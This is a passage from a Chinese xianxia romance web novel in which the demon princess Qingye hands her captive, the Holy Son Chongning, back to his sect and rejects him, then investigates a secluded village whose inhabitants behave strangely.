青叶自见过洄夜和善镇后,便开始回想自己过往之事,可记忆像是被浓雾笼罩,只有一片空白,连焚月塔的过往都变得模糊不清。 她甚至已经记不清晰,自己是如何一步一步,登至焚月塔顶层。 青叶不信邪地想要翻找自己的回忆,得到的只有剧烈的头疼。 很疼,像灵魂在脑中撕扯一般。 “唉……”她不禁叹息,揉着发疼的额头。 窗外天色渐阴,青叶抬手想要点亮室内的烛火,长袖却不小心扫过桌案。 “哗啦” 一声,茶杯摔在地上,碎裂的声响在寂静的殿内格外清晰。 “青叶?” 随之而来的,是木门后的一道声线。 重宁在唤她。 他大概是以为自己出什么事情了。 青叶本就无聊,见重宁担忧的声音从门外传来,忽然起了捉弄的心思。她没应声,反而轻手轻脚躲回床榻上。 “阿叶!” 门后人声线渐渐染上焦急之色。 不过几瞬,木门便被轻轻推开,脚步声循着碎瓷的痕迹慢慢靠近。 青叶屏住呼吸,待那身影走到床前时,猛地掀开纱帘,伸手攥住了男人的手腕。 “昨夜,果然是你。”她像一只抓到猎物的小狐狸,眼底闪着得逞的光。 可重宁的手却捧起了她的脸颊。 轻柔的,担忧的动作,指腹蹭过她的耳尖,他在问她:“哪里不舒服?” 青叶不禁愣了愣,先前的狡黠瞬间消散,有些不自然地撇过了头。 “我是在诈你呢。” 重宁这才松了口气,轻抚她颊边的碎发,“没事便好。” “没见过你这么嚣张的俘虏。”青叶不愿看他这副模样,于是故意指着他手脚上断裂的锁链,骄矜地抬起下巴,“谁让你斩断的?” “你当圣子真是屈才。以你的打铁水准,该去当个铁匠。” 她有点想激怒他,故意说些气话。 可重宁只是看着她,平静地道:“刚刚唤你,你没了声息,我你出事,只能先斩了锁链进来。” “我只是不想理你罢了。” 青叶嘴硬道。 她用毯子遮住了脑袋,背过身去,拒绝与他对视。 身后传来一声轻浅的叹息,“既如此,那我便走了。” 身后脚步声渐远,木门 “咔嗒” 一声轻轻阖上。 青叶慢慢地从毯子里钻出来。 殿内又只有她一人,起身时,太阳穴又开始隐隐作痛。 “真的走了……” 青叶小声嘟囔着,一手揉着脑袋,一手拉开纱帘。 却见帘外,男人还静静立在一旁,玄色衣袍在昏暗的光线下泛着柔和的光泽…… 青叶吓了一大跳,心里却莫名涌上些安心,“你……你没走啊?” 重宁缓步走近,探入纱帘之内,目光落在她揉着脑袋的手上,“你若需要我,我便会在这里。” 他在床边坐下,双手轻轻覆上她的太阳穴,指尖带着微凉的灵力,“哪里疼?我给你揉揉。” 男人的坚实的肩头近在眼前,青叶轻轻用额头撞了一下。 “没有我的允许就斩断锁链,我要罚你。” 重宁低低笑出声。脑海中的女孩已经幻化为一只小狐狸,叉着腰指使他。 “你这张嘴,可比脑袋硬多了。” 青叶:“……” 可恶,好想把他锁回床上去。 她被戳中软肋,气得想瞪他。但重宁揉得又很舒服,头也不太疼了。青叶一时难以取舍。 重宁的声音又轻轻响起:“公主殿下若不想让俘虏斩断枷锁,便该将牢笼做得更坚固些。” 他顿了顿,又道:“殿下若真想要关我,我所在之地该是阴冷的地牢,而非你寝殿的偏殿。” “不是吗?” 青叶沉默了下来。 重宁似乎想要一点一点地拆穿她的内心。 “阿叶……”他缓缓俯身,唤她,“你当初在真元殿,是为了护江小芦才暴露身份。” “你无法脱身,挟持我只是无奈之举。我明白。” “可为什么,那时不信我?” “信你什么?”青叶抬起了头,撞进他深邃的一双眼眸里。 重宁正捧着她的后脑,他清隽的面容近在咫尺。 他一字一句道:“不论你是人是魔,我都会护你。” 作者有话说:来了~ 第20章 “相信你?” 青叶凝视着重宁清隽如玉的脸庞, 忽然弯了弯唇角,笑意却未达眼底。 “自暴露魔修身份那日起,这世上的仙人, 我一个都不信。” “仙魔向来对立,圣子大人剑气之下, 不知斩过多少魔修亡魂,我怎么能保证自己不会成为其中一个?” 她微微仰头, 斩钉截铁地说,“我的命只会在我自己手里。” 重宁闻言, 不禁心头一震。 原来从始至终, 青叶都不曾真正信过他。 “即使是此刻……”青叶靠在他胸口,能清晰听见重宁沉稳的心跳,可下一秒, 她周身倏然浮现出淡紫色的光芒——那是她的魔气屏障。 “若你此时要杀我,第一道攻击会被这屏障挡下。” “我顷刻间便会召唤魔卫, 且发动我的本命法器寒烟。” 重宁低眉望向怀中的女子, 她轻轻靠着他的胸口,他们此时的距离如此之近,甚至可以感受到彼此的呼吸。 可青叶却始终将他当做可能伤害她之人。 要经历多少的疼痛和不安, 才让她不得不武装起全部的内心? 重宁心头隐隐传来窒息之感。 他在宗门期间对她的护佑远远还不够, 竟不能教她放下一丁点的防备。 青叶轻轻笑了,“圣子大人, 不要给我找理由。” “在真元殿时,我就是为了利用你。” “我心知你对我有情, 还将命门坦然相告于我,所以挟持你逃离无垢宗。” “从初遇到现在,我一直都在骗你, 利用你。” 青叶抬眸,眼神中带着挑衅的色彩。 她并非良善之人,不要将她想得太好。 不要再这样靠近她。不要试图走进她的心。 那里空无一物。 重宁沉默片刻,再开口时,却并不像先前那般,因她的话而失落。 “若我对你有用……” “那便利用下去吧。” 他如同叹息一般说出这样的话,手掌轻轻拂过她落在肩头的发丝。 “只要让我同你在一起。” 青叶闻言,不禁怔愣几瞬,指尖不受控地轻轻颤抖。 此刻她的发丝还缠在重宁掌心,他的心跳声近在咫尺,温热而真实。 他到底知不知道自己在说什么? 重宁耐心地低眉看她,仿佛在等待什么。 可青叶不可能给他想要的答案。 “圣子大人,你的放风时间到了。”她不想再看他,压下心头翻涌的情绪,咬着牙道。 她起身拽住他的手腕,将他拉回偏殿,重新将他身上断裂的锁链加固。 * 夜幕降临之时,雨也开始落下,愈下愈大,下了一整晚。 起初只是细密的雨丝,缠缠绵绵地打在暮水殿外的枯树枝上。没过多久,雨势便陡然变大,砸在青瓦屋檐上。窗外模糊成一片水墨色。 窗外挂着的铜铃被风雨吹得作响,却很快被更大的雨声淹没。 她不知晓的是,隔壁的重宁也并未睡下,在榻上盘坐吐息了一整晚。 青叶没有太多睡意,她倚在床榻上,几乎听了一夜的雨声。没有梦吟在身边,她其实睡不好觉。 但如今她已恢复修为,因而不睡觉其实也不会太过难受。 第二日清晨,雨终于稍稍停歇,但天际的阴暗色彩昭示着很快又会有持续的大雨。 青叶离开暮水殿,去往洄夜的寝殿。 经过一夜的修养后,洄夜的状态好了些,但还是看起来神智不太清明,眼神涣散地望着虚空,嘴中念念有词,不知在说些什么。 但青叶一靠近之时,他却停了口中的话,嘴唇颤抖着,神色怔怔,目不转睛地望向她。 青叶试探性地问:“洄夜,你能听清我说话么?” 洄夜没有说话,只是定定地看着她,缓缓点了点头。 “我想知晓我从前的记忆。”青叶开门见山,又怕他激动,补充道,“你不用开口,我们有魂契相连,我可以进入你的识海查看。” 有紧密联系的二人可以互通识海。青叶和洄夜有着魂契的联系,她应当是可以进入。 她想知道先前的自己发生了什么。 洄夜却痛苦地摇了摇头,脸色瞬间变得更加难看。他紧闭上双眼,指节泛白,像是在抗拒什么。 旁边的魔卫忙上前劝阻青叶:“殿下,目前洄夜大人的心魔还未完全控制住,识海此刻混乱不堪,您若强行进入,怕是会被心魔反噬,牵连自身!” 青叶无奈,她也并不想强迫洄夜,只好作罢。 魔卫恭敬地将她送出了门。 刚走到正门的连廊上,青叶又一次遇上了善镇。 “公主殿下。”他似乎并不是来看洄夜的,而是来寻她的,“不知可否借一步,去茶室一叙?” 二人移步至不远处的一座楼阁内。青叶觉得当初在界外之地设计这宫殿群的,大概是个风雅之人。不仅是暮水殿,每处宫殿皆有雅致之处,还设了茶室,大概是把仙家那一套学来了。 青叶入座后,善镇便开始为她煮茶,开口道:“殿下是想从洄夜那里,找到曾经的记忆?” 青叶抬眸看向他。这事善镇知晓也不奇怪,昨日她在洄夜寝殿显露的急切,想必早已被众人看在眼里。 “殿下当初在焚月塔中失了记忆,如今想寻回,也是人之常情。”善镇将茶杯推到她面前,茶汤清澈,泛着淡淡的兰花香,“洄夜曾是殿下贴身影卫,自然知晓得更多。只是如今他心魔缠身,无法为殿下解答。” “不过……殿下若想知晓,我也可以为殿下回忆一二。” 青叶挑了挑眉,暂时还没摸清善镇的意图,便顺水推舟道:“我以为,昨日你已说得差不多了。” 善镇闻言笑了,指尖轻轻摩挲着茶杯边缘,“那是我对于殿下的印象。若殿下想知道您和洄夜的过往,我倒还能再讲些。” 得到了青叶的首肯后,善镇的目光飘向窗外的雨帘,像是陷入了遥远的回忆。 “当年魔尊将洄夜赐给您时,您才五岁,洄夜也不过是个刚化形的小鬼修。他本是阴物残魂所化,不能如人类般生长,是魔尊开了天恩,用魔气为他重塑肉身,让他能陪着您一同长大。” “但我记得,你们小时候并不和睦,常常吵架。大约是因为您幼年丧母,魔尊大人又缺席养育,殿下便常常黏着洄夜,但洄夜身为您的影卫,却常常把您丢下,一人去修炼。偏偏殿下心软,就算被丢下也从不跟魔尊告状,洄夜便愈发孤傲,并没有将您放在眼里。” “哦?真的吗?”青叶一边喝茶,一边听着,有些意外地出声。 自她离开焚月塔后,洄夜一直对她忠心耿耿,事事以她为先,她从没想过,两人小时候竟是这般光景。 “殿下小时候和如今一点儿也不相像。”善镇笑道,“小时候的殿下心肠太过柔软,身体也虚弱,常常生病,无法正常修炼。” 这就更新奇了。青叶想。 她如今的记忆从焚月塔中开始,但在焚月塔中的她,可是魔界一等一的天才。每次即使受伤,也十分顽强,很快便会恢复。 她印象中的第一次大病,还是她失了魔丹,在无垢宗练剑反噬的那次。但就算是那次,在圣子大人的照料下,不出几日便也好了。 “魔尊对殿下寄予厚望,自然不能放任您孱弱的体质不管,于是常常亲自训练。”善镇的语气沉了沉,“可那时夫人刚过世不久,魔尊精神恍惚,对您也谈不上亲近,每每接触,父女二人都十分不愉快。” 不愉快……青叶心中了然,善镇定是弱化了当年的冲突。就算她离开焚月塔后,和慕沧澜的关系也剑拔弩张,更别提小时候了。 “后来……殿下和魔尊有一次爆发了激烈的冲突。具体如何,我也不知晓,但那之后,殿下忽然便失踪了。洄夜也因此受罚,而后被派去寻找殿下。” “直到几个月后,洄夜才将殿下找回来。这次回来之后,你们二人的关系却又变得不一样。殿下大概是已经长大了些的缘故,不再黏着洄夜,反而处处避开他;而洄夜则一改往常高傲的性子,有些做小伏低起来,对殿下事事顺从。” 青叶捧着茶,沉吟道:“你可知那几个月我去了哪里?” 善镇却摇摇头,“这我就不清楚了。只知道殿下回来后,魔尊发了好大的火,将您押入了地牢,洄夜没日没夜地跪在正殿前,为您向魔尊求情。” “最后,魔尊还是松口将您放了出来,只是,很快,便借修炼的名义,将您送入了焚月塔。” “您这一去,便是百年的光阴。”善镇叹了口气。 “这期间,魔尊神志不清的毛病愈发严重,对夫人魂魄的执念也愈发强烈。魔尊本还算励精图治,曾一度放弃过寻找夫人,专心魔界政事,但最终还是不管不顾地加派人手出去搜寻,连不少声名赫赫的大将都派出去了,导致魔宫留下的人越来越少。唉,可悲可叹。” “人去了一波又一波,最终也只有我们这一批人找到了那一丝线索。” “后来的事情,殿下便也都知道了。” 故事听完,青叶手中残余的茶也凉了,她盯着善镇,道:“多谢大人,同我说了这么多从前的旧事。” 善镇摆摆手,“不过是多年未见到殿下,叙叙旧罢了。” “如今殿下一来到界外之地,便找到了重要线索,相信不日便能找到我夫人魂魄,送她转世。”他缓缓道,忽而又问,“不知这之后,殿下有何打算?” 青叶微微笑了,知道这才是善镇真正的目的。 她反客为主问道:“大人又有何打算呢?” 善镇叹息一声,“既然今日邀殿下来此地,又说了这么多知心话,我便与殿下交代了。” “属下希望能重振魔界荣光,收编叛军,让仙界不敢进犯。” “重振魔界荣光?”青叶像是听见什么好笑之事,“就凭我们剩下的这队伍么?” “若能和叛军结盟,对抗仙界不是难事。”善镇缓缓道。 “你知晓我与父亲慕沧澜不睦,所以便想让我投靠叛军?”青叶冷冷道,“你可知晓,我也差点死在叛军手下。便是在仙界,我也曾遭他们藏在无垢宗的棋子陷害。” 青叶心道,看来这位忠诚的大将,实则内心倒也没有那么忠心耿耿。 “殿下可以再考虑考虑。”善镇道,“如今仙界见一个魔修便杀一个,我们与叛军至少同为魔修,仇恨尚可化解。” 他话锋又一转,目光带着一丝试探:“殿下不是带回了个仙界俘虏么?听闻还是仙界赫赫有名的人物。” “属下愿替殿下将他杀了,送给叛军当投名状,助殿下结交叛军。” 青叶眼底的笑意渐渐褪去,神情冷肃地看了善镇半晌,后者镇定自若,仿佛自认说的话没有半分问题。 过了一会儿,她忽而变了神情,转而为笑,道:“多谢大人的宝贵建议。我会好好考虑。” “不过当务之急,还是尽快找到我母亲。”青叶将话题拉回正轨,“我父亲死前曾言,我母亲的魂魄上有保命之道。若能找到,也为日后多一件筹码。” “自然!”善镇见她似乎有意接受,显得十分高兴,“殿下英明,属下定誓死追随殿下。” 青叶敷衍地笑了笑,起身告辞。刚走出茶室,她便忍不住翻了个白眼。 她会听这人胡说八道就有鬼了。 还想替她杀了重宁?简直是做梦。重宁的命只能在她手上。 只是如今洄夜被心魔缠身,她身边无人可用,还是要暂时安抚下人心。 先给他画个大饼,现在话说得漂亮,之后统统不认便是了。 暴雨只歇了片刻,便又铺天盖地地砸下来,连绵几日几夜不停。界外之地像是被一张巨大的雨幕罩住。 青叶坐在窗前,院中那棵枯死的树在暴雨下愈发显得十分潦倒。 这会是什么树呢?可它已经枯败得令人看不明了。 她收回目光,垂眸看向手中的命灯。 这是母亲的命灯。 没法再度入山的日子里,她捧着这盏灯聊以慰藉。 灯芯泛着微弱的光,灯壁上沾着丝丝血迹。青叶掌心被血迹染得斑驳一片,她一次次以血喂灯,试图唤醒与母亲的感应。 可除了使暗淡的灵灯微亮些许之外,青叶连母亲的一缕残影也没能见到。 青叶正盯着灯出神,门口忽有一魔卫急急来报。 “殿下……结界外有仙人来犯!” 仙人?青叶眯了眯眼,有些不耐地抬头。 她早想过,不出多时,叛军和无垢宗肯定会找到此地。但没想到,先来的会是仙界之人。 “他们想干什么?” “来者自称是无垢宗中人,要我们……交出他们的圣子。” 青叶已经好几日没有见重宁,闻言冷冷勾唇:“行啊,那就把我的俘虏一起带上,去会会那仙人。” 界外之地还在下着大雨,风舟又派上了用场,破开雨幕,在云层下疾驰。 青叶坐在内室之中,盯着被魔卫带进来的重宁。 他手脚上仍缚着那圈墨色锁链,雨水打湿了他的衣袍,却依旧难掩他清隽的风骨。即使如今身为人质、阶下囚,他仍是那副风清玉朗的样子。 青叶轻笑一声:“圣子大人,仙界来了人接你。你要不要回去?” 重宁抬眸看她,神色平静,只问了一句:“你想我回去吗?” 青叶的笑容慢慢收敛。 她没想到这人还是如此惹人生气。 青叶不再搭理他,将舱门摔上,驾驶着风舟往结界边缘而去。 当初魔尊和善镇对此地一定费了一番心血,结界的范围甚广,几乎覆盖了这整片荒原与周边的山峰。 风舟停在一处高峰的山脚下。 青叶远远便看见雨幕中的身影。 星驰撑着一把油纸伞,衣袍沾着尘土,发丝被雨水和汗水黏在额角,连往日的潇洒不羁都淡了几分。 他此次前来显然经过长途跋涉,或许还翻找了几座大山,才寻到此处。 青叶下了风舟,也撑了把伞上前。 “星驰仙君。”她开口道。 “青叶姑娘!”星驰见了她,眼神一亮,随即又想起她的身份,下意识后退半步。 他在心里叹了口气,怎么就答应了掌门接了这么个差事。 玉丹称病不出万灵山,但星驰觉得那病肯定是装的,掌门才把这活推给了他! 星驰虽没经历过那夜真元殿的一幕,却已将事情了解得差不多。按他对重宁的了解,这家伙大概率是自愿被青叶带走的,会不会愿意和他回宗门还不一定呢。 然而掌门三令五申要他将圣子大人带回去,说是无垢宗怎能没有圣子,若是此事被众仙门知晓可如何是好? 话是这么说……但是…… 星驰实在无奈,只好和青叶好声好气地开口:“青叶姑娘……这……你能否将圣子大人归还于无垢宗呢?” “之前的那些事情,就一笔勾销。”他从袖中又掏出个乾坤囊,“我还有薄礼附上。” 青叶虽已暴露魔修身份,但星驰总觉得,她并非狂躁无道之人。否则早把无垢宗搅得天翻地覆了。 她离开前,只杀了一个修习魔道、毒害圣子的内奸,除此之外,就是带走了圣子大人。 她并非那些他常见到的那些,被心魔所控,失去理智的魔。 因此……星驰觉得她应该会讲点道理吧。实在不行,他就自掏腰包,再赠上些礼物也行。 星驰心中忐忑,却没想到青叶微微一笑,说:“可以。” 星驰:“?!”这么爽快的吗! 青叶也没接他的乾坤囊,径直开了风舟的舱门,把重宁拽了出来。 锁链在雨中泛着冷光,星驰看着重宁手脚上的束缚,眼睛都瞪大了。 你们这是在玩什么? 青叶拎着锁链的一端,手穿过结界,递给星驰。 “圣子大人还给你们,别再来烦我。” 星驰:我该接吗?这是我能接的吗? 青叶将手上的伞丢给重宁,转身便上了风舟。 黑马扬蹄,风舟再次破开雨幕,青叶没有回头。 重宁似乎也没有追上来。 这大概是最好的结局。 她其实近来便在想让重宁离开。 起初想着掳走他,一是为了能顺利离开无垢宗,二是觉得……圣子大人的反应大概会很有趣。 没有人爱过她。青叶也不曾对另一个人有过这样的兴趣。 可时间越长,青叶心头便愈发觉得不对。 他好像是认真的,而非只是一时起意。 重宁为她散去修为,拿来碧云雪草,始终护她,珍视她。 她骗了他,掳走他,对他并不好,可重宁只是起先露出屈辱之意,随后便如以往一般陪在她身边,照顾她。 她一次次推开他,他却一次次上前。 甚至在上次与她相见时说出那样的话。 青叶原本觉得爱情是很有意思的游戏,是一场短暂却愉悦的幻觉。可如今却渐渐失控,要演变成她无法收场的形势。 她退缩了。 世上情债最难还。 青叶还不起,也害怕继续依赖重宁,她会离不开他。 魔怎么能和仙人相爱呢?她绝不要那么傻。 风雨渐歇,青叶将风舟停在了一汪小池塘旁。 她走出舱门,想散散心。却只见四周荒凉,只有水边长了些许杂草。 四匹黑马走到草边,低头蹭了蹭。它们是魂灵形态,不需进食,只是本能地寻着生机。 青叶抱着双膝坐在小池边,凝望着水中自己模糊的倒影。 她感受到藏在怀中的命灯微微发烫,便又将它拿出来,划破手掌,以血喂养。 青叶看着自己的血一滴一滴地落下,却好似察觉不到痛觉。 忽然,一只手紧紧攥住了她的手腕,力道大得让她生疼。 她微微一怔,回头看去,发现竟是重宁。 青叶第一次见到他发怒的模样,男人浑身被雨淋湿,双目泛红,笑中带着些惨淡之意,质问她: “你真的不要我了?”《 》 20-25 第21章 青叶没想到他会回来, 微微愣住。 重宁此时也注意到她手掌上的血迹,一时也顾不得同她生气,边为她止血边问道:“这是怎么回事?” 他其实一直隐隐有感, 青叶有些自毁倾向。 从前在宗门时为赢得试炼、拿到碧云雪草,她便能练剑练到身心反噬, 昏迷不醒。 痛觉仿佛对她而言不值一提。 ……可他会心痛。 “你在想什么?”重宁死死攥着她的手,为她疗伤, 鲜血也染红了他的手掌,“为何这样对我, 这样对自己?” 他顿了顿, 声音低哑几分,“你拿走了我的一颗心,如今却要将它丢弃。” “你怎能如此残忍?” “青叶, 随我走。”重宁忽而说道,眼底的痛楚间染上几分偏执之意。 他不能让她抛弃自己, 更不能让她一个人躲藏在这荒凉无边的地方。 “我在鹤州有一处隐蔽居所, 在山巅之上,比叠云峰更美,更清净。” “我原本便想, 待你恢复内丹, 便和你一同移居宗门之外,避开仙魔纷争。” “我不会让任何想伤害你的人靠近你, 让你不安。” “我会护着你,不让任何人伤害你, 也不让你再受半分不安。” 重宁的指尖轻轻蹭过她掌心的伤口,神色坚定。 “青叶,我想与你长相厮守。” 可青叶却颤抖着, 重重地甩开了他的手。 青叶从前以为,重宁对她的感情,不过是圣子多年寂寥下的一时兴起,是短暂的新鲜感罢了。 可他竟爱她至此,甚至规划了他们的未来。这样的承诺让她感到害怕。 别再爱她了。 “重宁,你是不是搞错了什么?”青叶声线不稳,语调却骤然冷了下来,“我并不想与你长相厮守。” “我根本没想过与你长久。” “我在宗门内做出种种让你高兴之事,不过是为了哄骗你,以求庇护。” “后来吻你,不过也是一时兴起,只想着与你有一段朝夕露水之情罢了。” “你是无垢宗圣子,仰承神君天命,而我是你们最痛恨的魔。” “我们怎能真的在一起?” 重宁像是被这句话狠狠刺穿,踉跄着后退两步,脸色瞬间惨白。 他自嘲地轻笑两声:“朝夕……露水之情?” “原来我曾想过的一切,在你眼里不过是妄念。” 他眼底的光一点点熄灭,只剩下浓得化不开的怆然之色。 青叶并不敢看他的眼睛,避过了他的目光。 她真的让他痛了。可她此时心中却无半分快意。 “你走吧。星驰仙君或许还未走远。” 青叶缓缓转过了身,望向远处的暗沉沉的群山。 身后寂静了几瞬,最后传来男人低低的声音:“我知晓了。” “你不想要我们之间的感情,我不碍你的眼就是。” 脚步声渐渐远了。 青叶僵在原地,任由寒风穿过胸膛,带走最后一丝暖意。 重宁已喝了许多天的药,青叶让魔卫用的皆是最好的药材,他身体应当已经恢复大半。 他身上的锁链,青叶即使加固之后,以他之能,依旧可以一掌劈开。 重宁其实从未真正是她的阶下囚。 他的去与留,只关乎他们之间那点细微的牵绊。如今被青叶亲手斩断,重宁便也拂袖离去了。 青叶在原地站了许久,久到风声渐息,才缓缓回头。 茫茫荒野之上,只余她一人,与四匹想吃草却无法进食的黑马- 这段时间,青叶总会做些光怪离奇的梦。 最开始,她梦见重宁忘记了她,端坐于高台之上,望向她的神情再无半点怜悯,如同看着一只蝼蚁。 他衣袖轻摆,剑未出鞘,剑气便已朝她排山倒海般地压来。 瞬间无情地将她碾为齑粉。 接着,又梦见自己孤身一人,行于天地之间。 不知从何处而来,也不知归途在哪。在无穷无尽的路途中,她听闻无垢宗圣子病重,将要陨落的消息。 可她已与无垢宗、与重宁身隔重山万里,无法相见,也不能得见他最后一面。 青叶从梦中苏醒,见手腕间空空荡荡,才想起梦吟早已被她还给重宁。 她躺在床榻上,目光落在床顶的纱幔上,耳边忽然传来门外魔卫的禀报: “殿下,洄夜大人的心魔已好转许多,问您今日是否要出发寻找万魂窟。” 界外之地的雨终于停了,天空虽仍蒙着一层薄灰,却比往日清亮了许多。 青叶看向枕边的命灯,灯芯泛着微弱的光。 她想,那只是一场梦。 她该去做自己的事情了。 不多时,洄夜便来到殿中拜见她。 他气色好了不少,眼底的阴郁散去大半,也不再像先前那般话都说不清楚。 “你身体可还好?”青叶问道,“不必勉强,也可再缓几日出发。” “这几日让殿下忧心了,属下已觉身体大好。”洄夜向她躬身行礼,向来阴郁冷峻的面色今日却带了些笑意。 “听闻,殿下已将那仙人俘虏赶走了?” 他忽又来了这么一句。 青叶抬眸睨了他一眼,轻描淡写地说:“嗯。留在这儿也是麻烦,无垢宗既来求和要人,还回去就是。” “殿下英明。”洄夜听青叶这么说,似有些激动之意,“仙人与我们并非同类,还是早些分道扬镳为好。” “我知道。”青叶打断他,不愿再纠缠这个话题,“今日出发,去上次那处小溪再探。多带些克制怨气的法器,以防不测。” “对了,”她顿了顿,补充道,“让善镇与我们同去。” “是……”洄夜应下,却有些不解,“殿下之前不是说……先让善镇守在此地吗?” 青叶唇角勾起一抹浅淡的笑:“我自有道理。你去通知他吧。” 出发时,青叶只带了简单的行囊,却将克制怨气、疗伤解毒的法器装了满满一芥子袋。她与洄夜、善镇一同出发,往崇山峻岭的险道而去。 三人身法皆不凡,加之洄夜早已记下先前涉足之地,不到半日,他们已至先前到过的那条小溪边。 此时正是午后,阳光透过云层洒下,将山野染得通透。溪水潺潺流淌,倒映着岸边的枯草与远处的山峦,竟看不出半点先前那般阴森可怖的迹象。 更是没有半分怨气的影子,仿佛上次的遭遇只是一场幻觉。 “此地……”善镇打量着四周环境,眉头微蹙:“倒与先前那队探路魔卫传讯描述的一模一样。” “是么?”青叶问道,“他们带回了什么消息?” 善镇摇摇头,“他们只是提及了此处的环境,说是似乎有人居住的痕迹,觉得很是诡异,因为这界外之地,早在千年前便是荒芜一片了,哪来的活人?” “后来……”他又叹息一声,“他们没能回来,我也不知他们在此遭遇了何事。” 话音刚落,洄夜便从溪边折返,向青叶禀报:“殿下,溪水里已经没有怨气的痕迹。” 青叶点点头,她望向远方,蜿蜒的溪水尽头,是上次炊烟升起的地方。 “走。”她简短地下命令,“沿着这条溪一探究竟。” 三人顺着溪水前行,脚下的路还算平缓,翻过几座覆着枯草的小山坡后,眼前的景象让他们骤然一惊。 被群山环抱的洼地间,竟藏着一片开阔的原野。 这原野之上建了不少屋舍,屋前的田地里种着新鲜蔬果。不远处,有男子正在砍柴挑水,妇人坐在门槛上摇着蒲扇,白发老人则牵着蹦跳的孩童嬉戏。 “这……”洄夜眼底满是震惊,“界外之地早已荒芜千年,怎会有这样的村落?” “嘘。”青叶食指竖在唇前,目光锐利地扫向村口,“有人来了。” 不远处走来一位中等身材的男子。他穿着素色长衫,一副书生打扮,面容清秀,模样看着十分温和。 “此地竟有外来客,真是稀奇!”他有些意外地望向青叶一行人,却并没有敌意。 “不知三位从哪里来,为何寻至此处?” 青叶给洄夜与善镇递了个眼色,也和善地拱手道:“我们是三个散修,正在鹤州四处出游,没曾想误入此地。” “这样啊……”男子沉吟片刻,又对青叶笑了笑,“那,是否需要在下引诸位出去?或者……若不嫌弃,三位可在此借宿几日,等摸清路线再走?” “那就多谢先生了。” 青叶顺势应下,“我们已迷路多日,正愁无处落脚。” “自然方便。”男子摆摆手,“别客气,我们村的人都十分热情好客,想住多久都可以。” “我叫柯狐,家就在前面,刚好有两间空房。随我来吧。” “那就多谢柯先生了。”青叶感谢道。 她身后的洄夜与善镇也心领神会,一同道谢。 一路上,青叶一边观察着此地的环境,一边听柯狐为他们介绍这村子的故事。 此地名为曲西村,在这隐秘的大山中已经自给自足上千年了。曲西村中的村民们大多过着男耕女织的生活,因他们都是修者的后裔,所以岁数要比一般的凡人要长些。 “当初,一群散修来到此地,顿觉这是一片远离纷争的世外桃源,于是建立了村子,繁衍至如今的模样。”柯狐说,“所以你方才说你们是散修,我便顿觉亲切。” “不过,因为此地灵气稀薄,不宜修炼,所以如今我们村子里的人不过只会些粗浅法术罢了。” 青叶一旁的洄夜忽而发问:“既然灵气稀薄,你们没想过迁出去?鹤州仙门众多,修炼条件也好。” 柯狐立即摇摇头,“外面纷争太多,哪有这里清净?我们守着这片地,自给自足,就很好了。” 柯狐的家是一座小巧的竹舍,院角种着几株翠竹,打理得十分整洁。他将青叶引到东厢房,又把洄夜与善镇安排在西厢房。 刚收拾妥当,青叶忽然开口:“你不是说,村里的人没有想出去的吗?为何不见你父母?” 柯狐脸上的笑容淡了些,语气带着几分怅然:“我娘生我时就走了,我爹在夜里去山上打猎,失足摔下了悬崖。我是吃百家饭长大的。” “我爹死后,我们村的人但凡外出打猎,都要在白天,而且一定要成队出行。” 他顿了顿,又叮嘱道,“你们也要注意安全啊。千万不要在夜里离开村子。” “夜里的界外之地可吓人了,有不少妖物出没。但当年建立曲西村的修者们在村子边缘设了结界,只要在村子里,就是安全的。” 青叶刚要追问,院门外忽然传来一阵爽朗的笑声:“小狐仔,俺给你送鸡蛋来咯!” 一位头发花白的老奶奶提着竹篮走进来,篮子里装着十几枚白净的鸡蛋,显然是精心洗过的。进门后,她便拉着柯狐的手嘘寒问暖。 “咦,梅香奶奶,哪用得着您跑一趟。”柯狐忙说,请老奶奶进门来。 梅香奶奶也看见了青叶一行人,正疑惑时,柯狐为她介绍了一番,“这是迷路了的三位散修,在咱们村借住几天。” “噢噢,好啊。”梅香奶奶慈眉善目地对着青叶笑,又对柯狐说,“鸡蛋,好东西,做些给客人们吃啊。” “好嘞。”柯狐一口应下。 傍晚时分缓缓来临,柯狐果然做了一桌子菜,邀请青叶他们来用餐。 青叶却抱歉地摇摇头,道:“我们最近在辟谷。” “好吧。”柯狐脸上露出几分失望,却也没多劝,临走前提醒他们,“夜晚快来了,晚上千万不要离开村子啊!” 夜幕很快降临,曲西村的喧闹声骤然消失,连狗吠声都没有。 洄夜与善镇悄悄来到青叶的房间,三人设下魔气屏障,压低声音商讨。 “殿下,此处实在古怪。”洄夜首先开口,“按理说千年前烛阴烬被封印此处,声势浩大,界外之地本该荒无人烟,就算有,也都因那威压而亡了。” “怎会有一个自给自足的村落出现呢?” “的确如此。”善镇赞同道,“而且,殿下,洄夜大人,你们有没有发现,夜晚的曲西村寂静得可怕。” 他们三人在周身设下魔气屏障,得以自如对话,但屏障之外,仿佛连根针掉在地上的声音都听得见。 此时还未到深夜时分,即使曲西村人并不多,但怎会和白日热闹的景象截然不同? “虽说刚刚的柯先生让我们不要夜间出行,但是否还是出去探查一番为好?”善镇提议道。 青叶却缓缓摇了摇头,“不急。” “我们且等一晚。看看明天会发生什么。” 这一夜,青叶没有合眼。她放出几具傀儡纸人,分别守在竹舍四周与柯狐的房外。 纸人传回来的画面里,柯狐睡得很沉,竹舍周边则是寂静得令人发慌,也并没有什么奇怪之处。 可天刚亮,青叶推开房门,便看见院门口的柯狐似在和人交谈,回来后,见了她,一边抹着眼泪一边道: “梅香奶奶昨夜没了……” 青叶心里一惊,“什么?” 昨夜才见过的慈眉善目的奶奶,就这么死了? “不过您别担心,是寿终正寝。” 柯狐见她惊讶,连忙补充道,“村里老人多,生老病死是常事。” 可青叶却不这么觉得。 以她的修为,昨日见梅香奶奶时,分明察觉到她气血充盈,精神矍铄,别说寿终正寝,连半点衰老垂危的迹象都没有,怎会一夜之间便离世? 这村子里的人也很可疑。 她跟着柯狐去帮忙办丧事,见村中人个个神情一致,脸上都挂着统一的哀伤,扶着棺材哭悼时声泪俱下,可等将梅香奶奶安葬后,他们立刻收敛起悲伤,该种田的种田,该织布的织布,连孩童都照旧在田埂上嬉闹。 仿佛刚才的丧事只是一场走过场的戏。 青叶拉住了一位正在哼着歌绣花的女子。方才哭悼时,她正站在青叶身边。 “梅香奶奶刚走,你不难过吗?”青叶问。 女子愣了一下,脸上没有任何表情,只淡淡道:“生老病死乃常事。” 说完,便低下头继续专心绣花,语气还带着几分轻快,“我还要给夫君绣鸳鸯枕呢。” 青叶又问了几人,得到的都是相似的回答,仿佛他们的情绪都是被设定好的程序,到了特定时间便自动切换。 青叶回到了竹舍。她等待着,又到了夜晚时分。 